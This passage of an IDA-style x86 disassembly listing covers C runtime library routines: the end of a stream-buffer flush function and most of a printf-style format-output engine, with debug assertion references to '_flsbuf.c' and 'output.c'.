sub_424A30+118j mov edx, [ebp+var_10] push edx call sub_42E870 add esp, 4 test eax, eax jnz short loc_424B6F loc_424B63: ; CODE XREF: sub_424A30+121j mov eax, [ebp+var_8] push eax call sub_42E200 add esp, 4 loc_424B6F: ; CODE XREF: sub_424A30+10Fj ; sub_424A30+131j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jz loc_424C5B loc_424B83: ; CODE XREF: sub_424A30+187j mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [eax] sub edx, [ecx+8] test edx, edx jge short loc_424BB3 push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"... push 0 push 0A0h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_424BB3 int 3 ; Trap to Debugger loc_424BB3: ; CODE XREF: sub_424A30+160j ; sub_424A30+180j xor eax, eax test eax, eax jnz short loc_424B83 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [ecx] sub eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+var_8] mov [eax], edx mov ecx, [ebp+var_8] mov edx, [ecx+18h] sub edx, 1 mov eax, [ebp+var_8] mov [eax+4], edx cmp [ebp+var_4], 0 jle short loc_424C06 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, [edx+8] push eax mov ecx, [ebp+var_10] push ecx call sub_42DD30 add esp, 0Ch mov [ebp+var_C], eax jmp short loc_424C4E ; --------------------------------------------------------------------------- loc_424C06: ; CODE XREF: sub_424A30+1B8j cmp [ebp+var_10], 0FFFFFFFFh jz short loc_424C29 mov edx, [ebp+var_10] sar edx, 5 mov eax, [ebp+var_10] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4EED20[edx*4] add ecx, eax mov [ebp+var_14], ecx jmp short loc_424C30 ; --------------------------------------------------------------------------- loc_424C29: ; CODE XREF: sub_424A30+1DAj mov [ebp+var_14], offset dword_4502B8 loc_424C30: ; CODE XREF: sub_424A30+1F7j mov edx, [ebp+var_14] movsx eax, byte ptr [edx+4] and eax, 20h test eax, eax jz short loc_424C4E push 2 push 0 mov ecx, [ebp+var_10] push ecx call sub_42B6E0 add esp, 0Ch loc_424C4E: ; CODE XREF: sub_424A30+1D4j ; sub_424A30+20Cj mov edx, [ebp+var_8] mov eax, [edx+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_424C79 ; --------------------------------------------------------------------------- loc_424C5B: ; CODE XREF: sub_424A30+14Dj mov [ebp+var_4], 1 mov edx, [ebp+var_4] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] push ecx call sub_42DD30 add esp, 0Ch mov [ebp+var_C], eax loc_424C79: ; CODE XREF: sub_424A30+229j mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jz short loc_424C95 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx or eax, 0FFFFFFFFh jmp short loc_424C9D ; --------------------------------------------------------------------------- loc_424C95: ; CODE XREF: sub_424A30+24Fj mov eax, [ebp+arg_0] and eax, 0FFh loc_424C9D: ; CODE XREF: sub_424A30+70j ; sub_424A30+C7j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424A30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424CB0 proc near ; CODE XREF: sub_41D160+93p ; sub_41D260+9Ap ... var_2A6 = word ptr -2A6h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = byte ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = word ptr -248h var_244 = dword ptr -244h var_240 = byte ptr -240h var_23F = byte ptr -23Fh var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = byte ptr -228h var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2A8h push ebx push esi push edi mov [ebp+var_24], 0 mov [ebp+var_22C], 0 mov [ebp+var_18], 0 loc_424CD4: ; CODE XREF: sub_424CB0:loc_4258C2j mov eax, [ebp+arg_4] mov cl, [eax] mov byte ptr [ebp+var_28], cl movsx edx, byte ptr [ebp+var_28] mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test edx, edx jz loc_4258C7 cmp [ebp+var_22C], 0 jl loc_4258C7 movsx ecx, byte ptr [ebp+var_28] cmp ecx, 20h jl short loc_424D26 movsx edx, byte ptr [ebp+var_28] cmp edx, 78h jg short loc_424D26 movsx eax, byte ptr [ebp+var_28] movsx ecx, byte ptr [eax+439FE0h] and ecx, 0Fh mov [ebp+var_290], ecx jmp short loc_424D30 ; --------------------------------------------------------------------------- loc_424D26: ; CODE XREF: sub_424CB0+55j ; sub_424CB0+5Ej mov [ebp+var_290], 0 loc_424D30: ; CODE XREF: sub_424CB0+74j mov edx, [ebp+var_290] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_18] movsx edx, ds:byte_43A000[ecx+eax*8] sar edx, 4 mov [ebp+var_18], edx mov eax, [ebp+var_18] mov [ebp+var_294], eax cmp [ebp+var_294], 7 ja loc_4258C2 mov ecx, [ebp+var_294] jmp ds:off_4258D4[ecx*4] loc_424D70: ; CODE XREF: sub_424CB0+332j ; DATA XREF: seg000:off_4258D4o mov [ebp+var_1C], 0 mov edx, [ebp+var_28] and edx, 0FFh mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_424DED lea edx, [ebp+var_22C] push edx mov eax, [ebp+arg_0] push eax movsx ecx, byte ptr [ebp+var_28] push ecx call sub_4259E0 add esp, 0Ch mov edx, [ebp+arg_4] mov al, [edx] mov byte ptr [ebp+var_28], al mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx loc_424DBE: ; CODE XREF: sub_424CB0+13Bj movsx edx, byte ptr [ebp+var_28] test edx, edx jnz short loc_424DE7 push offset aCh_t0 ; "ch != _T('\\0')" push 0 push 186h push offset aOutput_c ; "output.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_424DE7 int 3 ; Trap to Debugger loc_424DE7: ; CODE XREF: sub_424CB0+114j ; sub_424CB0+134j xor eax, eax test eax, eax jnz short loc_424DBE loc_424DED: ; CODE XREF: sub_424CB0+E3j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx movsx eax, byte ptr [ebp+var_28] push eax call sub_4259E0 add esp, 0Ch jmp loc_4258C2 ; --------------------------------------------------------------------------- loc_424E0A: ; CODE XREF: sub_424CB0+B9j ; DATA XREF: seg000:004258D8o mov [ebp+var_8], 0 mov ecx, [ebp+var_8] mov [ebp+var_23C], ecx mov edx, [ebp+var_23C] mov [ebp+var_244], edx mov eax, [ebp+var_244] mov [ebp+var_10], eax mov [ebp+var_4], 0 mov [ebp+var_234], 0FFFFFFFFh mov [ebp+var_1C], 0 jmp loc_4258C2 ; --------------------------------------------------------------------------- loc_424E4C: ; CODE XREF: sub_424CB0+B9j ; DATA XREF: seg000:004258DCo movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_298], ecx mov edx, [ebp+var_298] sub edx, 20h mov [ebp+var_298], edx cmp [ebp+var_298], 10h ja short loc_424EB6 mov ecx, [ebp+var_298] xor eax, eax mov al, ds:byte_42590C[ecx] jmp ds:off_4258F4[eax*4] loc_424E83: ; CODE XREF: sub_424CB0+B9j ; DATA XREF: seg000:00425900o mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx jmp short loc_424EB6 ; --------------------------------------------------------------------------- loc_424E8E: ; CODE XREF: sub_424CB0+B9j ; sub_424CB0+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax jmp short loc_424EB6 ; --------------------------------------------------------------------------- loc_424E98: ; CODE XREF: sub_424CB0+B9j ; sub_424CB0+1CCj ; DATA XREF: ... mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx jmp short loc_424EB6 ; --------------------------------------------------------------------------- loc_424EA3: ; CODE XREF: sub_424CB0+B9j ; sub_424CB0+1CCj ; DATA XREF: ... mov edx, [ebp+var_4] or dl, 80h mov [ebp+var_4], edx jmp short loc_424EB6 ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424CB0+B9j ; sub_424CB0+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_424EB6: ; CODE XREF: sub_424CB0+B9j ; sub_424CB0+1BCj ... jmp loc_4258C2 ; --------------------------------------------------------------------------- loc_424EBB: ; CODE XREF: sub_424CB0+B9j ; DATA XREF: seg000:004258E0o movsx ecx, byte ptr [ebp+var_28] cmp ecx, 2Ah jnz short loc_424EF7 lea edx, [ebp+arg_8] push edx call sub_425AF0 add esp, 4 mov [ebp+var_244], eax cmp [ebp+var_244], 0 jge short loc_424EF5 mov eax, [ebp+var_4] or al, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_244] neg ecx mov [ebp+var_244], ecx loc_424EF5: ; CODE XREF: sub_424CB0+22Dj jmp short loc_424F0E ; --------------------------------------------------------------------------- loc_424EF7: ; CODE XREF: sub_424CB0+212j mov edx, [ebp+var_244] imul edx, 0Ah movsx eax, byte ptr [ebp+var_28] lea ecx, [edx+eax-30h] mov [ebp+var_244], ecx loc_424F0E: ; CODE XREF: sub_424CB0:loc_424EF5j jmp loc_4258C2 ; --------------------------------------------------------------------------- loc_424F13: ; CODE XREF: sub_424CB0+B9j ; DATA XREF: seg000:004258E4o mov [ebp+var_234], 0 jmp loc_4258C2 ; --------------------------------------------------------------------------- loc_424F22: ; CODE XREF: sub_424CB0+B9j ; DATA XREF: seg000:004258E8o movsx edx, byte ptr [ebp+var_28] cmp edx, 2Ah jnz short loc_424F52 lea eax, [ebp+arg_8] push eax call sub_425AF0 add esp, 4 mov [ebp+var_234], eax cmp [ebp+var_234], 0 jge short loc_424F50 mov [ebp+var_234], 0FFFFFFFFh loc_424F50: ; CODE XREF: sub_424CB0+294j jmp short loc_424F69 ; --------------------------------------------------------------------------- loc_424F52: ; CODE XREF: sub_424CB0+279j mov ecx, [ebp+var_234] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_28] lea eax, [ecx+edx-30h] mov [ebp+var_234], eax loc_424F69: ; CODE XREF: sub_424CB0:loc_424F50j jmp loc_4258C2 ; --------------------------------------------------------------------------- loc_424F6E: ; CODE XREF: sub_424CB0+B9j ; DATA XREF: seg000:004258ECo movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_29C], ecx mov edx, [ebp+var_29C] sub edx, 49h mov [ebp+var_29C], edx cmp [ebp+var_29C], 2Eh ja short loc_424FFC mov ecx, [ebp+var_29C] xor eax, eax mov al, ds:byte_425931[ecx] jmp ds:off_42591D[eax*4] loc_424FA5: ; DATA XREF: seg000:00425925o mov edx, [ebp+var_4] or edx, 10h mov [ebp+var_4], edx jmp short loc_424FFC ; --------------------------------------------------------------------------- loc_424FB0: ; CODE XREF: sub_424CB0+2EEj ; DATA XREF: seg000:off_42591Do mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 36h jnz short loc_424FDB mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] cmp eax, 34h jnz short loc_424FDB mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx mov edx, [ebp+var_4] or dh, 80h mov [ebp+var_4], edx jmp short loc_424FE7 ; --------------------------------------------------------------------------- loc_424FDB: ; CODE XREF: sub_424CB0+309j ; sub_424CB0+315j mov [ebp+var_18], 0 jmp loc_424D70 ; --------------------------------------------------------------------------- loc_424FE7: ; CODE XREF: sub_424CB0+329j jmp short loc_424FFC ; --------------------------------------------------------------------------- loc_424FE9: ; CODE XREF: sub_424CB0+2EEj ; DATA XREF: seg000:00425921o mov eax, [ebp+var_4] or al, 20h mov [ebp+var_4], eax jmp short loc_424FFC ; --------------------------------------------------------------------------- loc_424FF3: ; CODE XREF: sub_424CB0+2EEj ; DATA XREF: seg000:00425929o mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_424FFC: ; CODE XREF: sub_424CB0+2DEj ; sub_424CB0+2EEj ... jmp loc_4258C2 ; --------------------------------------------------------------------------- loc_425001: ; CODE XREF: sub_424CB0+B9j ; DATA XREF: seg000:004258F0o movsx edx, byte ptr [ebp+var_28] mov [ebp+var_2A0], edx mov eax, [ebp+var_2A0] sub eax, 43h mov [ebp+var_2A0], eax cmp [ebp+var_2A0], 35h ja loc_4256E7 mov edx, [ebp+var_2A0] xor ecx, ecx mov cl, ds:byte_42599C[edx] jmp ds:off_425960[ecx*4] loc_42503C: ; DATA XREF: seg000:off_425960o mov eax, [ebp+var_4] and eax, 830h test eax, eax jnz short loc_425051 mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_425051: ; CODE XREF: sub_424CB0+385j ; sub_424CB0+396j ; DATA XREF: ... mov edx, [ebp+var_4] and edx, 810h test edx, edx jz short loc_425097 lea eax, [ebp+arg_8] push eax call sub_425B30 add esp, 4 mov [ebp+var_14], ax mov cx, [ebp+var_14] push ecx lea edx, [ebp+var_228] push edx call sub_42E8B0 add esp, 8 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jge short loc_425095 mov [ebp+var_23C], 1 loc_425095: ; CODE XREF: sub_424CB0+3D9j jmp short loc_4250BD ; --------------------------------------------------------------------------- loc_425097: ; CODE XREF: sub_424CB0+3ACj lea eax, [ebp+arg_8] push eax call sub_425AF0 add esp, 4 mov [ebp+var_248], ax mov cl, byte ptr [ebp+var_248] mov [ebp+var_228], cl mov [ebp+var_24], 1 loc_4250BD: ; CODE XREF: sub_424CB0:loc_425095j lea edx, [ebp+var_228] mov [ebp+var_20], edx jmp loc_4256E7 ; --------------------------------------------------------------------------- loc_4250CB: ; CODE XREF: sub_424CB0+385j ; DATA XREF: seg000:00425970o lea eax, [ebp+arg_8] push eax call sub_425AF0 add esp, 4 mov [ebp+var_24C], eax cmp [ebp+var_24C], 0 jz short loc_4250F2 mov ecx, [ebp+var_24C] cmp dword ptr [ecx+4], 0 jnz short loc_42510C loc_4250F2: ; CODE XREF: sub_424CB0+434j mov edx, ds:off_450038 mov [ebp+var_20], edx mov eax, [ebp+var_20] push eax call sub_41AC70 add esp, 4 mov [ebp+var_24], eax jmp short loc_42515B ; --------------------------------------------------------------------------- loc_42510C: ; CODE XREF: sub_424CB0+440j mov ecx, [ebp+var_4] and ecx, 800h test ecx, ecx jz short loc_42513C mov edx, [ebp+var_24C] mov eax, [edx+4] mov [ebp+var_20], eax mov ecx, [ebp+var_24C] movsx edx, word ptr [ecx] shr edx, 1 mov [ebp+var_24], edx mov [ebp+var_1C], 1 jmp short loc_42515B ; --------------------------------------------------------------------------- loc_42513C: ; CODE XREF: sub_424CB0+467j mov [ebp+var_1C], 0 mov eax, [ebp+var_24C] mov ecx, [eax+4] mov [ebp+var_20], ecx mov edx, [ebp+var_24C] movsx eax, word ptr [edx] mov [ebp+var_24], eax loc_42515B: ; CODE XREF: sub_424CB0+45Aj ; sub_424CB0+48Aj jmp loc_4256E7 ; --------------------------------------------------------------------------- loc_425160: ; CODE XREF: sub_424CB0+385j ; DATA XREF: seg000:00425968o mov ecx, [ebp+var_4] and ecx, 830h test ecx, ecx jnz short loc_425176 mov edx, [ebp+var_4] or dh, 8 mov [ebp+var_4], edx loc_425176: ; CODE XREF: sub_424CB0+385j ; sub_424CB0+4BBj ; DATA XREF: ... cmp [ebp+var_234], 0FFFFFFFFh jnz short loc_42518B mov [ebp+var_2A4], 7FFFFFFFh jmp short loc_425197 ; --------------------------------------------------------------------------- loc_42518B: ; CODE XREF: sub_424CB0+4CDj mov eax, [ebp+var_234] mov [ebp+var_2A4], eax loc_425197: ; CODE XREF: sub_424CB0+4D9j mov ecx, [ebp+var_2A4] mov [ebp+var_258], ecx lea edx, [ebp+arg_8] push edx call sub_425AF0 add esp, 4 mov [ebp+var_20], eax mov eax, [ebp+var_4] and eax, 810h test eax, eax jz short loc_425226 cmp [ebp+var_20], 0 jnz short loc_4251CD mov ecx, ds:off_45003C mov [ebp+var_20], ecx loc_4251CD: ; CODE XREF: sub_424CB0+512j mov [ebp+var_1C], 1 mov edx, [ebp+var_20] mov [ebp+var_254], edx loc_4251DD: ; CODE XREF: sub_424CB0+564j mov eax, [ebp+var_258] mov ecx, [ebp+var_258] sub ecx, 1 mov [ebp+var_258], ecx test eax, eax jz short loc_425216 mov edx, [ebp+var_254] xor eax, eax mov ax, [edx] test eax, eax jz short loc_425216 mov ecx, [ebp+var_254] add ecx, 2 mov [ebp+var_254], ecx jmp short loc_4251DD ; --------------------------------------------------------------------------- loc_425216: ; CODE XREF: sub_424CB0+544j ; sub_424CB0+553j mov edx, [ebp+var_254] sub edx, [ebp+var_20] sar edx, 1 mov [ebp+var_24], edx jmp short loc_425280 ; --------------------------------------------------------------------------- loc_425226: ; CODE XREF: sub_424CB0+50Cj cmp [ebp+var_20], 0 jnz short loc_425234 mov eax, ds:off_450038 mov [ebp+var_20], eax loc_425234: ; CODE XREF: sub_424CB0+57Aj mov ecx, [ebp+var_20] mov [ebp+var_250], ecx loc_42523D: ; CODE XREF: sub_424CB0+5C2j ; DATA XREF: seg002:off_44D710o mov edx, [ebp+var_258] loc_425243: ; DATA XREF: seg002:00450924o mov eax, [ebp+var_258] sub eax, 1 mov [ebp+var_258], eax test edx, edx jz short loc_425274 mov ecx, [ebp+var_250] movsx edx, byte ptr [ecx] test edx, edx jz short loc_425274 mov eax, [ebp+var_250] add eax, 1 mov [ebp+var_250], eax jmp short loc_42523D ; --------------------------------------------------------------------------- loc_425274: ; CODE XREF: sub_424CB0+5A4j ; sub_424CB0+5B1j mov ecx, [ebp+var_250] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx loc_425280: ; CODE XREF: sub_424CB0+574j jmp loc_4256E7 ; --------------------------------------------------------------------------- loc_425285: ; CODE XREF: sub_424CB0+385j ; DATA XREF: seg000:00425980o lea edx, [ebp+arg_8] push edx call sub_425AF0 add esp, 4 mov [ebp+var_25C], eax mov eax, [ebp+var_4] and eax, 20h test eax, eax jz short loc_4252B3 mov ecx, [ebp+var_25C] mov dx, word ptr [ebp+var_22C] mov [ecx], dx jmp short loc_4252C1 ; --------------------------------------------------------------------------- loc_4252B3: ; CODE XREF: sub_424CB0+5EFj mov eax, [ebp+var_25C] mov ecx, [ebp+var_22C] mov [eax], ecx loc_4252C1: ; CODE XREF: sub_424CB0+601j mov [ebp+var_23C], 1 jmp loc_4256E7 ; --------------------------------------------------------------------------- loc_4252D0: ; CODE XREF: sub_424CB0+385j ; DATA XREF: seg000:00425964o mov [ebp+var_8], 1 mov dl, byte ptr [ebp+var_28] add dl, 20h mov byte ptr [ebp+var_28], dl loc_4252E0: ; CODE XREF: sub_424CB0+385j ; DATA XREF: seg000:0042597Co mov eax, [ebp+var_4] or al, 40h mov [ebp+var_4], eax lea ecx, [ebp+var_228] mov [ebp+var_20], ecx cmp [ebp+var_234], 0 jge short loc_425306 mov [ebp+var_234], 6 jmp short loc_425322 ; --------------------------------------------------------------------------- loc_425306: ; CODE XREF: sub_424CB0+648j cmp [ebp+var_234], 0 jnz short loc_425322 movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_425322 mov [ebp+var_234], 1 loc_425322: ; CODE XREF: sub_424CB0+654j ; sub_424CB0+65Dj ... mov eax, [ebp+arg_8] add eax, 8 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] sub ecx, 8 mov edx, [ecx] mov eax, [ecx+4] mov [ebp+var_264], edx mov [ebp+var_260], eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_234] push edx movsx eax, byte ptr [ebp+var_28] push eax mov ecx, [ebp+var_20] push ecx lea edx, [ebp+var_264] push edx call ds:off_4503F8 add esp, 14h mov eax, [ebp+var_4] and eax, 80h test eax, eax jz short loc_425388 cmp [ebp+var_234], 0 jnz short loc_425388 mov ecx, [ebp+var_20] push ecx call ds:off_450404 add esp, 4 loc_425388: ; CODE XREF: sub_424CB0+6C0j ; sub_424CB0+6C9j movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_4253AA mov eax, [ebp+var_4] and eax, 80h test eax, eax jnz short loc_4253AA mov ecx, [ebp+var_20] push ecx call ds:off_4503FC add esp, 4 loc_4253AA: ; CODE XREF: sub_424CB0+6DFj ; sub_424CB0+6EBj mov edx, [ebp+var_20] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_4253C7 mov ecx, [ebp+var_4] or ch, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_4253C7: ; CODE XREF: sub_424CB0+703j mov eax, [ebp+var_20] push eax call sub_41AC70 add esp, 4 mov [ebp+var_24], eax jmp loc_4256E7 ; --------------------------------------------------------------------------- loc_4253DB: ; CODE XREF: sub_424CB0+385j ; DATA XREF: seg000:00425978o mov ecx, [ebp+var_4] or ecx, 40h mov [ebp+var_4], ecx mov [ebp+var_238], 0Ah jmp loc_425475 ; --------------------------------------------------------------------------- loc_4253F3: ; CODE XREF: sub_424CB0+385j ; DATA XREF: seg000:00425990o mov [ebp+var_238], 0Ah jmp short loc_425475 ; --------------------------------------------------------------------------- loc_4253FF: ; CODE XREF: sub_424CB0+385j ; DATA XREF: seg000:00425988o mov [ebp+var_234], 8 loc_425409: ; CODE XREF: sub_424CB0+385j ; DATA XREF: seg000:0042596Co mov [ebp+var_230], 7 jmp short loc_42541F ; --------------------------------------------------------------------------- loc_425415: ; CODE XREF: sub_424CB0+385j ; DATA XREF: seg000:00425994o mov [ebp+var_230], 27h loc_42541F: ; CODE XREF: sub_424CB0+763j mov [ebp+var_238], 10h mov edx, [ebp+var_4] and edx, 80h test edx, edx jz short loc_425453 mov [ebp+var_240], 30h mov eax, [ebp+var_230] add eax, 51h mov [ebp+var_23F], al mov [ebp+var_10], 2 loc_425453: ; CODE XREF: sub_424CB0+784j jmp short loc_425475 ; --------------------------------------------------------------------------- loc_425455: ; CODE XREF: sub_424CB0+385j ; DATA XREF: seg000:00425984o mov [ebp+var_238], 8 mov ecx, [ebp+var_4] and ecx, 80h test ecx, ecx jz short loc_425475 mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx loc_425475: ; CODE XREF: sub_424CB0+73Ej ; sub_424CB0+74Dj ... mov eax, [ebp+var_4] and eax, 8000h test eax, eax jz short loc_42549E lea ecx, [ebp+arg_8] push ecx call sub_425B10 add esp, 4 mov [ebp+var_278], eax mov [ebp+var_274], edx jmp loc_42552F ; --------------------------------------------------------------------------- loc_42549E: ; CODE XREF: sub_424CB0+7CFj mov edx, [ebp+var_4] and edx, 20h test edx, edx jz short loc_4254F0 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_4254D0 lea ecx, [ebp+arg_8] push ecx call sub_425AF0 add esp, 4 movsx eax, ax cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_4254EE ; --------------------------------------------------------------------------- loc_4254D0: ; CODE XREF: sub_424CB0+800j lea edx, [ebp+arg_8] push edx call sub_425AF0 add esp, 4 and eax, 0FFFFh cdq mov [ebp+var_278], eax mov [ebp+var_274], edx loc_4254EE: ; CODE XREF: sub_424CB0+81Ej jmp short loc_42552F ; --------------------------------------------------------------------------- loc_4254F0: ; CODE XREF: sub_424CB0+7F6j mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_425515 lea ecx, [ebp+arg_8] push ecx call sub_425AF0 add esp, 4 cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_42552F ; --------------------------------------------------------------------------- loc_425515: ; CODE XREF: sub_424CB0+848j lea edx, [ebp+arg_8] push edx call sub_425AF0 add esp, 4 xor ecx, ecx mov [ebp+var_278], eax mov [ebp+var_274], ecx loc_42552F: ; CODE XREF: sub_424CB0+7E9j ; sub_424CB0:loc_4254EEj ... mov edx, [ebp+var_4] and edx, 40h test edx, edx jz short loc_425577 cmp [ebp+var_274], 0 jg short loc_425577 jl short loc_42554D cmp [ebp+var_278], 0 jnb short loc_425577 loc_42554D: ; CODE XREF: sub_424CB0+892j mov eax, [ebp+var_278] neg eax mov ecx, [ebp+var_274] adc ecx, 0 neg ecx mov [ebp+var_26C], eax mov [ebp+var_268], ecx mov edx, [ebp+var_4] or dh, 1 mov [ebp+var_4], edx jmp short loc_42558F ; --------------------------------------------------------------------------- loc_425577: ; CODE XREF: sub_424CB0+887j ; sub_424CB0+890j ... mov eax, [ebp+var_278] mov [ebp+var_26C], eax mov ecx, [ebp+var_274] mov [ebp+var_268], ecx loc_42558F: ; CODE XREF: sub_424CB0+8C5j mov edx, [ebp+var_4] and edx, 8000h test edx, edx jnz short loc_4255B7 mov eax, [ebp+var_26C] mov ecx, [ebp+var_268] and ecx, 0 mov [ebp+var_26C], eax mov [ebp+var_268], ecx loc_4255B7: ; CODE XREF: sub_424CB0+8EAj cmp [ebp+var_234], 0 jge short loc_4255CC mov [ebp+var_234], 1 jmp short loc_4255D5 ; --------------------------------------------------------------------------- loc_4255CC: ; CODE XREF: sub_424CB0+90Ej mov edx, [ebp+var_4] and edx, 0FFFFFFF7h mov [ebp+var_4], edx loc_4255D5: ; CODE XREF: sub_424CB0+91Aj mov eax, [ebp+var_26C] or eax, [ebp+var_268] test eax, eax jnz short loc_4255EC mov [ebp+var_10], 0 loc_4255EC: ; CODE XREF: sub_424CB0+933j lea ecx, [ebp+var_29] mov [ebp+var_20], ecx loc_4255F2: ; CODE XREF: sub_424CB0+9EBj mov edx, [ebp+var_234] mov eax, [ebp+var_234] sub eax, 1 mov [ebp+var_234], eax test edx, edx jg short loc_42561F mov ecx, [ebp+var_26C] or ecx, [ebp+var_268] test ecx, ecx jz loc_4256A0 loc_42561F: ; CODE XREF: sub_424CB0+959j mov eax, [ebp+var_238] cdq push edx push eax mov edx, [ebp+var_268] push edx mov eax, [ebp+var_26C] push eax call sub_420430 add eax, 30h mov [ebp+var_270], eax mov eax, [ebp+var_238] cdq push edx push eax mov ecx, [ebp+var_268] push ecx mov edx, [ebp+var_26C] push edx call sub_4203C0 mov [ebp+var_26C], eax mov [ebp+var_268], edx cmp [ebp+var_270], 39h jle short loc_425687 mov eax, [ebp+var_270] add eax, [ebp+var_230] mov [ebp+var_270], eax loc_425687: ; CODE XREF: sub_424CB0+9C3j mov ecx, [ebp+var_20] mov dl, byte ptr [ebp+var_270] mov [ecx], dl mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax jmp loc_4255F2 ; --------------------------------------------------------------------------- loc_4256A0: ; CODE XREF: sub_424CB0+969j lea ecx, [ebp+var_29] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_4] and eax, 200h test eax, eax jz short loc_4256E7 mov ecx, [ebp+var_20] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_4256CF cmp [ebp+var_24], 0 jnz short loc_4256E7 loc_4256CF: ; CODE XREF: sub_424CB0+A17j mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+var_20] mov byte ptr [ecx], 30h mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_4256E7: ; CODE XREF: sub_424CB0+371j ; sub_424CB0+385j ... cmp [ebp+var_23C], 0 jnz loc_4258C2 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_42574D mov ecx, [ebp+var_4] and ecx, 100h test ecx, ecx jz short loc_42571B mov [ebp+var_240], 2Dh mov [ebp+var_10], 1 jmp short loc_42574D ; --------------------------------------------------------------------------- loc_42571B: ; CODE XREF: sub_424CB0+A59j mov edx, [ebp+var_4] and edx, 1 test edx, edx jz short loc_425735 mov [ebp+var_240], 2Bh mov [ebp+var_10], 1 jmp short loc_42574D ; --------------------------------------------------------------------------- loc_425735: ; CODE XREF: sub_424CB0+A73j mov eax, [ebp+var_4] and eax, 2 test eax, eax jz short loc_42574D mov [ebp+var_240], 20h mov [ebp+var_10], 1 loc_42574D: ; CODE XREF: sub_424CB0+A4Cj ; sub_424CB0+A69j ... mov ecx, [ebp+var_244] sub ecx, [ebp+var_24] sub ecx, [ebp+var_10] mov [ebp+var_27C], ecx mov edx, [ebp+var_4] and edx, 0Ch test edx, edx jnz short loc_425785 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_425A60 add esp, 10h loc_425785: ; CODE XREF: sub_424CB0+AB7j lea eax, [ebp+var_22C] 